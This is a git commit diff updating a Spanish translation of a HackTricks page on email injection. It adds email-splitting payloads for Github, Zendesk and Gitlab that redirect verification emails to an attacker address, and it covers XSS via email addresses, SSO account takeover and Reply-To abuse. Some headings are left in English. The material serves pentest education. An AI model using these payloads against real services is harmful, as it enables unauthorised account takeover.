Translated ['pentesting-web/email-injections.md', 'todo/emails-vulns.md'

This commit is contained in:
Translator 2024-08-19 15:46:09 +00:00
parent 74ff0aea87
commit 53323f7d7e
2 changed files with 89 additions and 27 deletions

View file

@ -840,7 +840,6 @@
* [Burp Suite](todo/burp-suite.md) * [Burp Suite](todo/burp-suite.md)
* [Other Web Tricks](todo/other-web-tricks.md) * [Other Web Tricks](todo/other-web-tricks.md)
* [Interesting HTTP](todo/interesting-http.md) * [Interesting HTTP](todo/interesting-http.md)
* [Emails Vulnerabilities](todo/emails-vulns.md)
* [Android Forensics](todo/android-forensics.md) * [Android Forensics](todo/android-forensics.md)
* [TR-069](todo/tr-069.md) * [TR-069](todo/tr-069.md)
* [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md) * [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md)

View file

@ -3,14 +3,14 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\ Usa [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) para construir y **automatizar flujos de trabajo** fácilmente con las **herramientas** comunitarias **más avanzadas** del mundo.\
Accede hoy: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
{% hint style="success" %} {% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Aprende y practica Hacking en AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Aprende y practica Hacking en GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -18,7 +18,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %} {% endhint %}
@ -75,7 +75,7 @@ Un atacante puede **inyectar parámetros adicionales para sendmail** en este cas
#### Diferencias en la implementación de /usr/sbin/sendmail #### Diferencias en la implementación de /usr/sbin/sendmail
La interfaz de **sendmail** es **proporcionada por el software de correo MTA** (Sendmail, Postfix, Exim, etc.) instalado en el sistema. Aunque la **funcionalidad básica** (como los parámetros -t -i -f) permanece **igual** por razones de compatibilidad, **otras funciones y parámetros** varían considerablemente dependiendo del MTA instalado. La interfaz de **sendmail** es **proporcionada por el software MTA de correo electrónico** (Sendmail, Postfix, Exim, etc.) instalado en el sistema. Aunque la **funcionalidad básica** (como los parámetros -t -i -f) permanece **igual** por razones de compatibilidad, **otras funciones y parámetros** varían considerablemente dependiendo del MTA instalado.
Aquí hay algunos ejemplos de diferentes páginas de manual del comando/interfaz sendmail: Aquí hay algunos ejemplos de diferentes páginas de manual del comando/interfaz sendmail:
@ -87,21 +87,25 @@ Dependiendo del **origen del binario sendmail**, se han descubierto diferentes o
## Inyección en el nombre del correo electrónico ## Inyección en el nombre del correo electrónico
{% hint style="danger" %}
Ten en cuenta que si logras crear una cuenta en un servicio con un nombre de dominio arbitrario (como Github, Gitlab, CloudFlare Zero trust...) y verificarla recibiendo el correo electrónico de verificación en tu dirección de correo, podrías acceder a ubicaciones sensibles de la empresa víctima.
{% endhint %}
### Partes ignoradas de un correo electrónico ### Partes ignoradas de un correo electrónico
Los símbolos: **+, -** y **{}** en raras ocasiones pueden ser utilizados para etiquetar y son ignorados por la mayoría de los servidores de correo electrónico. Los símbolos: **+, -** y **{}** en raras ocasiones pueden ser utilizados para etiquetar y son ignorados por la mayoría de los servidores de correo electrónico.
* Ej. john.doe+intigriti@example.com → john.doe@example.com * Por ejemplo, john.doe+intigriti@example.com → john.doe@example.com
**Comentarios entre paréntesis ()** al principio o al final también serán ignorados. **Comentarios entre paréntesis ()** al principio o al final también serán ignorados.
* Ej. john.doe(intigriti)@example.com → john.doe@example.com * Por ejemplo, john.doe(intigriti)@example.com → john.doe@example.com
### Bypass de lista blanca ### Bypass de lista blanca
<figure><img src="../.gitbook/assets/image (812).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (812).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### Comillas ### Citas
<figure><img src="../.gitbook/assets/image (626).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (626).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
@ -112,28 +116,87 @@ También puedes usar IPs como nombres de dominio entre corchetes:
* john.doe@\[127.0.0.1] * john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1] * john.doe@\[IPv6:2001:db8::1]
### Otras vulnerabilidades ### Codificación de correo electrónico
Como se explicó en [**esta investigación**](https://portswigger.net/research/splitting-the-email-atom), los nombres de correo electrónico también pueden contener caracteres codificados:
* **Desbordamiento de PHP 256**: La función `chr` de PHP seguirá sumando 256 a un carácter hasta que se vuelva positivo y luego realizará la operación `%256`.
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
{% hint style="success" %}
El objetivo de este truco es terminar con una inyección como `RCPT TO:<"collab@psres.net>collab"@example.com>`\
que enviará el correo electrónico de verificación a una dirección de correo electrónico diferente de la esperada (por lo tanto, introducir otra dirección de correo electrónico dentro del nombre del correo y romper la sintaxis al enviar el correo).
{% endhint %}
Diferentes codificaciones:
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/
```
Payloads:
* Github: `=?x?q?collab=40psres.net=3e=00?=foo@example.com`
* Nota el `@` codificado como =40, el `>` codificado como `=3e` y `null` como `=00`&#x20;
* Enviará el correo de verificación a `collab@psres.net`
* Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com`
* El mismo truco que antes pero añadiendo una comilla regular al principio y la comilla codificada `=22` antes del `@` codificado y luego comenzando y cerrando algunas comillas antes del siguiente correo para corregir la sintaxis utilizada internamente por Zendesk
* Enviará el correo de verificación a `collab@psres.net`
* Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
* Nota el uso del guion bajo como un espacio para separar la dirección
* Enviará el correo de verificación a `collab@psres.net`
* Punycode: Usando Punycode fue posible inyectar una etiqueta `<style` en Joomla y abusar de ella para robar el token CSRF a través de la exfiltración de CSS.
#### Tooling
* Hay un **script de Burp Suite Turbo Intruder** para fuzzear este tipo de combinaciones para intentar atacar formatos de correo electrónico. El script ya tiene combinaciones potencialmente funcionales.
* También es posible usar [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) para crear un ataque de división de correo electrónico
### Other vulns
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1131).png>) ![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1131).png>)
## SSO de terceros ## Third party SSO
### XSS ### XSS
Algunos servicios como **github** o **salesforce permiten** crear una **dirección de correo electrónico con cargas útiles de XSS en ella**. Si puedes **usar estos proveedores para iniciar sesión en otros servicios** y estos servicios **no están sanitizando** correctamente el correo electrónico, podrías causar **XSS**. Algunos servicios como **github** o **salesforce permiten** crear una **dirección de correo electrónico con cargas útiles de XSS en ella**. Si puedes **usar estos proveedores para iniciar sesión en otros servicios** y estos servicios **no están sanitizando** correctamente el correo electrónico, podrías causar **XSS**.
### Toma de cuenta ### Account-Takeover
Si un **servicio SSO** te permite **crear una cuenta sin verificar la dirección de correo electrónico proporcionada** (como **salesforce**) y luego puedes usar esa cuenta para **iniciar sesión en un servicio diferente** que **confía** en salesforce, podrías acceder a cualquier cuenta.\ Si un **servicio SSO** te permite **crear una cuenta sin verificar la dirección de correo electrónico dada** (como **salesforce**) y luego puedes usar esa cuenta para **iniciar sesión en un servicio diferente** que **confía** en salesforce, podrías acceder a cualquier cuenta.\
_Ten en cuenta que salesforce indica si el correo electrónico proporcionado fue o no verificado, pero la aplicación debería tener en cuenta esta información._ _Ten en cuenta que salesforce indica si el correo electrónico dado fue o no verificado, pero la aplicación también debería tener en cuenta esta información._
## Responder-A ## Reply-To
Puedes enviar un correo electrónico usando _**From: company.com**_ y _**Replay-To: attacker.com**_ y si se envía alguna **respuesta automática** debido a que el correo fue enviado **desde** una **dirección interna**, el **atacante** podría ser capaz de **recibir** esa **respuesta**. Puedes enviar un correo electrónico usando _**From: company.com**_ y _**Replay-To: attacker.com**_ y si se envía alguna **respuesta automática** debido a que el correo fue enviado **desde** una **dirección interna**, el **atacante** podría ser capaz de **recibir** esa **respuesta**.
## Tasa de rebote dura ## Hard Bounce Rate
Ciertos servicios, como AWS, implementan un umbral conocido como la **Tasa de Rebote Duro**, típicamente establecido en un 10%. Esta es una métrica crítica, especialmente para los servicios de entrega de correo electrónico. Cuando se supera esta tasa, el servicio, como el servicio de correo de AWS, puede ser suspendido o bloqueado. Ciertos servicios, como AWS, implementan un umbral conocido como la **Tasa de Rebote Duro**, típicamente establecido en un 10%. Esta es una métrica crítica, especialmente para servicios de entrega de correo electrónico. Cuando se supera esta tasa, el servicio, como el servicio de correo electrónico de AWS, puede ser suspendido o bloqueado.
Un **rebote duro** se refiere a un **correo electrónico** que ha sido devuelto al remitente porque la dirección del destinatario es inválida o no existe. Esto podría ocurrir por varias razones, como que el **correo** se envíe a una dirección no existente, un dominio que no es real, o la negativa del servidor del destinatario a aceptar **correos**. Un **rebote duro** se refiere a un **correo electrónico** que ha sido devuelto al remitente porque la dirección del destinatario es inválida o no existe. Esto podría ocurrir por varias razones, como que el **correo** se envíe a una dirección no existente, un dominio que no es real, o la negativa del servidor del destinatario a aceptar **correos**.
@ -143,7 +206,7 @@ Es crucial mantener una baja tasa de rebote duro para asegurar un servicio de co
Para más información detallada, se puede consultar la documentación oficial de AWS sobre el manejo de rebotes y quejas en [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types). Para más información detallada, se puede consultar la documentación oficial de AWS sobre el manejo de rebotes y quejas en [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
## Referencias ## References
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/) * [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) * [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
@ -151,16 +214,16 @@ Para más información detallada, se puede consultar la documentación oficial d
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0) * [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
{% hint style="success" %} {% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Apoya a HackTricks</summary> <summary>Support HackTricks</summary>
* Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
@ -168,7 +231,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las **herramientas comunitarias más avanzadas** del mundo.\ Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Obtén acceso hoy: Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}